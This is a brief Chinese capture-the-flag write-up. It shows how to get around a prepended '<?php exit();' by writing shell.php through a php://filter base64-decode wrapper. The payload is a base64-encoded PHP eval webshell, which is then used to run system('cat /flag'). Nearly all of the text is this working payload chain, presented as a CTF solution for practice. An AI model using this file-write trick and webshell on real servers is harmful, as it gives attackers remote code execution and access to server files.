这道题”<?php exit();”会影响后续代码的执行这里用base64绕过
Payload：?filename=php://filter/convert.base64-decode/resource=shell.php
POST：content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
再访问/shell.php，POST传1=system(‘cat /flag’);
得到flag
写shell
2026/2/26